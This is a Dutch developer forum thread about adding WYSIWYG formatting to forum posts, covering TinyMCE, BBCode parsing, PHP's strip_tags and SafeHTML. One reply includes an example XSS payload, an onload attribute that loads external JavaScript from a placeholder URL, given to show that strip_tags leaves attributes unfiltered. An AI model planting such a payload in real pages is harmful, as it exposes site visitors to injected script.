Opmaak berichten forum

Pagina: 1
Acties:
  • 727 views sinds 30-01-2008
  • Reageer

  • robbert
  • Registratie: April 2002
  • Laatst online: 18:50
Hoi,

ik ben momenteel bezig met de ontwikkeling van een forum. Echter wil ik dat het gebruiksvriendelijk is om berichten te plaatsen. Dus dat het gemakkelijk is om tekst vet, cursief, onderstreept te maken en eventueel lijsten te maken. De meeste forums gebruiken UBB code voor de opmaak, echter is dit naar mijn idee niet echt noob-proof. Voor ons, als tweakers zijnde, is dat natuurlijk geen probleem. Maar er zijn genoeg mensen die moeite hebben om UBB code te begrijpen.

Een mogelijkheid zou zijn om iets als een TinyMCE editor te gebruiken, waarin je maar een beperkt aantal html tags toestaat. Echter kan de gebruiker nu nog steeds handmatig html gaan posten waardoor de layout van je hele forum pagina een zooitje kan worden. Je zou vervolgens wel strip_tags in PHP er overheen kunnen gooien. Maar dit garandeert ook geen correcte html. Ik kan zo ook geen alternatief vinden voor strip_tags welke wel valide html code garandeert.

Een andere mogelijk zou een wysiwyg UBB editor zijn. Echter kan ik geen goede editor daar voor vinden. Het enige waar ik op uit kom zijn dingen als hier op GoT, dat je een knopjes hebt die de UBB code voor je genereren. Aan de server kant is UBB geen probleem, er zijn genoeg UBB parsers te vinden waardoor je vrijwel zeker valide html als output hebt.

  • TeeDee
  • Registratie: Februari 2001
  • Laatst online: 23:10

TeeDee

CQB 241

En als je nu eens in de code van de 'GoT editor' duikt en dat gaat gebruiken?
robbert schreef op woensdag 11 juli 2007 @ 14:21:
[...]
Dat genereert UBB code, dus het is nog steeds niet WYSIWYG. Gebruikers zien nog steeds niet direct hoe hun bericht er uit gaat zien.
Bekijk Bericht / Bewerk Bericht doen ook wonderen.

[ Voor 66% gewijzigd door TeeDee op 11-07-2007 14:27 ]

Heart..pumps blood.Has nothing to do with emotion! Bored


Verwijderd

kun je niet gewoon werken met een beperkt aantal toegelaten tags (b, i, s, a enz.)? dan kan de gebruiker html typen wat hij/zij wil, maar alleen de toegelaten tags komen erin en de rest kun je strippen.

  • robbert
  • Registratie: April 2002
  • Laatst online: 18:50
TeeDee schreef op woensdag 11 juli 2007 @ 14:19:
En als je nu eens in de code van de 'GoT editor' duikt en dat gaat gebruiken?
Dat genereert UBB code, dus het is nog steeds niet WYSIWYG. Gebruikers zien nog steeds niet direct hoe hun bericht er uit gaat zien.
Verwijderd schreef op woensdag 11 juli 2007 @ 14:21:
kun je niet gewoon werken met een beperkt aantal toegelaten tags (b, i, s, a enz.)? dan kan de gebruiker html typen wat hij/zij wil, maar alleen de toegelaten tags komen erin en de rest kun je strippen.
Daar had ik dus ook al aan gedacht, echter weet ik behalve de strip_tags functie van php geen andere mogelijkheid die de verkeerde tags eruit kan halen. Echter garandeert strip_tags geen correcte html, als een tag bijvoorbeeld niet afgesloten is krijg je nog steeds zooi.

[ Voor 47% gewijzigd door robbert op 11-07-2007 14:23 ]


  • disjfa
  • Registratie: April 2001
  • Laatst online: 04-11 11:05

disjfa

be

robbert schreef op woensdag 11 juli 2007 @ 14:21:
[...]
Dat genereert UBB code, dus het is nog steeds niet WYSIWYG. Gebruikers zien nog steeds niet direct hoe hun bericht er uit gaat zien.
En daarom is er een uitleg en een preview knop :) Je kan ook een automatische preview maken.

disjfa - disj·fa (meneer)
disjfa.nl


  • robbert
  • Registratie: April 2002
  • Laatst online: 18:50
disjfa schreef op woensdag 11 juli 2007 @ 14:24:
[...]

En daarom is er een uitleg en een preview knop :) Je kan ook een automatische preview maken.
Het moet geschikt zijn voor echt noobs. Het is niet voor een forum waar de gemiddelde gebruiker boven gemiddeld verstand heeft van computers, maar er komen echt prutsers wat dat betreft. Die mensen hebben geen zin om uitleg te gaan lezen en previews te bekijken.

Verwijderd

Naar mijn idee zal je dan toch naar een systeem als TinyMCE moeten gaan kijken. De gegenereerde tekst kun je dan weer parsen om ervoor te zorgen dat alleen de juiste tekens blijven staan. De tags <b> <i> en <u> zouden dus mogen (mits er ook een sluitende tag is), en bij alle andere strip je de HTML er tussen uit (je vervangt alle < voor & lt; uit mijn hoofd).

[ Voor 6% gewijzigd door Verwijderd op 11-07-2007 14:29 ]


  • disjfa
  • Registratie: April 2001
  • Laatst online: 04-11 11:05

disjfa

be

robbert schreef op woensdag 11 juli 2007 @ 14:25:
[...]
Het moet geschikt zijn voor echt noobs.
En dan begrijpen ze wel wat opmaak is? Als mensen niet eens weten hoe ze een uitleg kunnen lezen is het over het algemeen makkelijker ze niet eens de keuze hebben. En als ze het dan wel een keertje willen kunnen ze dit zelf onderzoeken.

Ik begrijp je doel, maar je gebruikers zichzelf laten opvoeden wat internet gebruik is is 10 keer makkelijker dan een eigen wysiwyg editor maken. Maar dat is alleen hoe ik het altijd meemaak. Ook met complete noobs :)

"ja je moet gewoon even een plaatje uploaden"
maar hij staat er toch ook

Kijk in de source: c:/documen.... etc.. :P

[ Voor 9% gewijzigd door disjfa op 11-07-2007 14:29 ]

disjfa - disj·fa (meneer)
disjfa.nl


  • TeeDee
  • Registratie: Februari 2001
  • Laatst online: 23:10

TeeDee

CQB 241

disjfa schreef op woensdag 11 juli 2007 @ 14:28:
[...]

En dan begrijpen ze wel wat opmaak is? Als mensen niet eens weten hoe ze een uitleg kunnen lezen is het over het algemeen makkelijker ze niet eens de keuze hebben. En als ze het dan wel een keertje willen kunnen ze dit zelf onderzoeken.

Ik begrijp je doel, maar je gebruikers zichzelf laten opvoeden wat internet gebruik is is 10 keer makkelijker dan een eigen wysiwyg editor maken. Maar dat is alleen hoe ik het altijd meemaak. Ook met complete noobs :)
Was bezig met een soortgelijk verhaal.

Voed je gebruikers op. De mensen die moedwillig kwaad willen doen door malafide HTML in te voeren pak je meteen aan als de code niet goed door je UBB parser heen komt.

Heart..pumps blood.Has nothing to do with emotion! Bored


  • robbert
  • Registratie: April 2002
  • Laatst online: 18:50
disjfa schreef op woensdag 11 juli 2007 @ 14:28:
[...]

En dan begrijpen ze wel wat opmaak is? Als mensen niet eens weten hoe ze een uitleg kunnen lezen is het over het algemeen makkelijker ze niet eens de keuze hebben. En als ze het dan wel een keertje willen kunnen ze dit zelf onderzoeken.

Ik begrijp je doel, maar je gebruikers zichzelf laten opvoeden wat internet gebruik is is 10 keer makkelijker dan een eigen wysiwyg editor maken. Maar dat is alleen hoe ik het altijd meemaak. Ook met complete noobs :)

"ja je moet gewoon even een plaatje uploaden"
maar hij staat er toch ook

Kijk in de source: c:/documen.... etc.. :P
Sja, die mensen weten hoe ze in Word een tekst bold of cursief kunnen maken. Dit willen ze ook op een forum kunnen. Dus gewoon een tekst selecteren, klikken, en hij wordt bold. Zelf ben ik ook voorstander van de gebruiker opvoeden, maar mijn werkgever wil dat het echt zo simpel mogelijk is voor zijn gebruikers.

  • TeeDee
  • Registratie: Februari 2001
  • Laatst online: 23:10

TeeDee

CQB 241

Wat is er dan mis met: http://tinymce.moxiecode.com/example.php?example=true

Die tags omzetten van html naar ubb is vrij triviaal imo.

Of beter nog: http://wiki.moxiecode.com...tallation_example_14.php# (ros even op Toggle Wysiwyg)
robbert schreef op woensdag 11 juli 2007 @ 14:41:
[...]

Dit zier er goed uit ;), ik wist niet dat TinyMCE ook UBB kon. Dit in combinatie met een goede UBB parser lijkt me een prima oplossing :).
Het kan inderdaad geen kwaad om eens te kijken bij een component wat je wil gebruiken of er iets nieuws is ;)

[ Voor 72% gewijzigd door TeeDee op 11-07-2007 14:43 ]

Heart..pumps blood.Has nothing to do with emotion! Bored


  • robbert
  • Registratie: April 2002
  • Laatst online: 18:50
Dit zier er goed uit ;), ik wist niet dat TinyMCE ook UBB kon. Dit in combinatie met een goede UBB parser lijkt me een prima oplossing :). Ik ga er zo eens mee spelen.

Ik had al wel zitten zoeken op tinymce en UBB maar niet op TinyMCE en BBcode, vandaar dat ik dit nog nergens had gevonden....

[ Voor 18% gewijzigd door robbert op 11-07-2007 14:43 ]


  • Alex)
  • Registratie: Juni 2003
  • Laatst online: 18-11 20:57
Je hebt ook nog een PHP-class genaamd SafeHTML, die stript alle HTML-code die niet veilig is (<script>, <style>, ...) en checkt - dacht ik - ook of alle tags netjes zijn afgesloten...

[ Voor 31% gewijzigd door Alex) op 12-07-2007 09:06 ]

We are shaping the future


  • SchizoDuckie
  • Registratie: April 2001
  • Laatst online: 18-02 23:12

SchizoDuckie

Kwaak

Alex) schreef op donderdag 12 juli 2007 @ 09:06:
Je hebt ook nog een PHP-class genaamd SafeHTML, die stript alle HTML-code die niet veilig is (<script>, <style>, ...) en checkt - dacht ik - ook of alle tags netjes zijn afgesloten...
PHP:
1
strip_tags($string, $allowed)
:?

Stop uploading passwords to Github!


  • Tjolk
  • Registratie: Juni 2007
  • Laatst online: 17:00
Als je echte WYSIWYG wil krijgen dan denk ik meteen aan AJAX. Klik op het B-tje en het geselecteerde wordt meteen vet. Laat AJAX daarbij meteen ook de UBB code genereren die de gebruiker niet ziet maar die vervolgens wel geplaatst wordt.
Of nog anders: genereer dmv AJAX iedere keer een berichtvoorbeeld als er op geklikt wordt.

Tjolk is lekker. overal en altijd.


  • BtM909
  • Registratie: Juni 2000
  • Niet online

BtM909

Watch out Guys...

SFB schreef op donderdag 12 juli 2007 @ 10:33:
Als je echte WYSIWYG wil krijgen dan denk ik meteen aan AJAX. Klik op het B-tje en het geselecteerde wordt meteen vet. Laat AJAX daarbij meteen ook de UBB code genereren die de gebruiker niet ziet maar die vervolgens wel geplaatst wordt.
Of nog anders: genereer dmv AJAX iedere keer een berichtvoorbeeld als er op geklikt wordt.
Waarom zou je dat in hemelsnaam met AJAX oplossen :?

;)

Ace of Base vs Charli XCX - All That She Boom Claps (RMT) | Clean Bandit vs Galantis - I'd Rather Be You (RMT)
You've moved up on my notch-list. You have 1 notch
I have a black belt in Kung Flu.


  • Alex)
  • Registratie: Juni 2003
  • Laatst online: 18-11 20:57
SchizoDuckie schreef op donderdag 12 juli 2007 @ 10:24:
[...]

PHP:
1
strip_tags($string, $allowed)
:?
Die stript de attributen niet, zo kan iemand alsnog Javascript enzo gebruiken...
code:
1
<b onload="var a=document.createElement('script');a.src='http://slechte/url/hier';a.type='text/javascript';var b=document.getElementsByTagName('head')[0]; b.appendChild(a);">blaat</b>


Hierdoor zal een extern JS-bestand worden geladen...
(Zoiets dan)

[ Voor 5% gewijzigd door Alex) op 12-07-2007 12:36 ]

We are shaping the future


  • robbert
  • Registratie: April 2002
  • Laatst online: 18:50
SchizoDuckie schreef op donderdag 12 juli 2007 @ 10:24:
[...]

PHP:
1
strip_tags($string, $allowed)
:?
Uit de php manual:
Warning

Because strip_tags() does not actually validate the HTML, partial, or broken tags can result in the removal of more text/data than expected.
Het garandeert dus geen valide html en het kan nogal vreemde resultaten geven met niet valide input.
Warning

This function does not modify any attributes on the tags that you allow using allowable_tags, including the style and onmouseover attributes that a mischievous user may abuse when posting text that will be shown to other users.
Zoals hierboven al werd gezegd.

strip_tags is dus waardeloos voor wat "serieuzere" toepassingen.

[ Voor 4% gewijzigd door robbert op 12-07-2007 12:52 ]


  • Mud
  • Registratie: Februari 2007
  • Laatst online: 30-11 22:52

Mud

Die tinymce is idd erg makkelijk & mooi.
Ik gebruik tinymce nu ook voor mijn "project" :)

  • robbert
  • Registratie: April 2002
  • Laatst online: 18:50
Alex) schreef op donderdag 12 juli 2007 @ 09:06:
Je hebt ook nog een PHP-class genaamd SafeHTML, die stript alle HTML-code die niet veilig is (<script>, <style>, ...) en checkt - dacht ik - ook of alle tags netjes zijn afgesloten...
Dat ziet er ook wel aardig uit, zal er ook eens naar kijken :) Bedankt voor de tip.
Pagina: 1